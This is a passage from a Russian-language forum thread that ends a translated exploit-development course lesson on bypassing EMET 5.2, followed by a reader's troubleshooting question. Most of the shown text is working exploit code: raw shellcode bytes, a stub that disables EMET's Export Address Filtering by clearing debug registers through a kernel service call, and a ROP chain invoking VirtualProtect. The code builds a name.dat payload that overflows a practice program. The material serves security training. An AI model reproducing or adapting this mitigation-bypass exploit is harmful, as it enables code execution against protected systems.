                "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
                "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
                "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
                "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
                "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
                "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
                "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
                "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
                "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
                "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
                "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
                "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
                "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
                "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
                "\x30\x03\xc6\xeb\xdd")
            disable_EAF = (
                "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
                "\x33\xC9" +                        # xor    ecx,ecx
                "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
                "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
                "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
                "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
                "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
                "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
                "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
                "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
                "\x54" +                            # push   esp
                "\x6A\xFE" +                        # push   0FFFFFFFEh
                "\x8B\xD4" +                        # mov    edx,esp
                "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
                "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
            )
            code = disable_EAF + shellcode
            name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
            f.write(name)
    
    write_file(r'c:\deleteme\name.dat')
    Первая часть ROP-цепочки инициализирует аргументы, которые размещены в её конце:

    Code:
        # real_code:
            0x90901eeb,          # jmp skip
    
        # args:
            0xffffffff,          # current process handle
            0x11111111,          # &address = ptr to address
            0x11111111,          # &size = ptr to size
            0x40,
            md + 0x705658f2,     # &Writable location [MSVCR120.dll]
        # end_args:
            0x11111111,          # address     <------- the region starts here
            code_size + 8        # size
    Второй аргумент (&address) перезаписывается end_args, а третий аргумент (&size) перезаписывается end_args + 4. В заключение, адрес в end_args перезаписывается своим адресом (end_args).

    Обратите внимание на то, что наш код начинается с real_code, таким образом мы должны перезаписать адрес с real_code, но в этом нет никакой необходимости, потому что VirtualProtect работает со страницами, поэтому с большой вероятностью, real_code и end_args будут указывать на туже страницу.

    Вторая часть ROP-цепочки находит вызов call dword ptr fs:[0C0h] # add esp,4 # ret 14h в ntdll.dll и осуществляет вызов сервиса ядра.

    Итак, у нас все готово, приступим к запуску. Для этого, сначала запустите Python скрипт. Он создаст файл name.dat. Затем запустите наш эксплойт exploitme3.exe. Он должен работать просто великолепно!

    Теперь можете включить все виды защит (за исключением ASR) и убедиться в том, что наш эксплойт все еще работает!

    © Translated by Prosper-H (r0 Crew)
    Дорогу осилит идущий. (К. Касперски)

    Двери есть везде. Просто нужно знать, как в них войти. ("Хроники Амбера", персонаж: Корвин)

  2. 6 пользователя(ей) сказали cпасибо:
    benedict (05-07-2015) dukeBarman (04-07-2015) klaus (04-07-2015) korsader (05-07-2015) ximera (04-07-2015) Æterno (04-07-2015)
  3. #2
    dreamseller's Avatar

    Default Re: Exploit Development Course Part 12: EMET 5.2 (Перевод: Prosper-H)

    Кто пробовал пройти курс? поясните это место, плз:
    "Когда нажмем F5 (go), получим странное исключение:" и дальше

    Судя по листингу, у автора EAF срабатывает не на шеллкод, а на ntdll!LdrpSnapThunk
    в шеллкоде на kernel32!$$VProc_ImageExportDirectory указывает ebx+esi
    Почему?

    Практически весь этот кусок отличается при тесте :( даже аппаратные бряки пустые

+ Reply to Thread

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:25
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org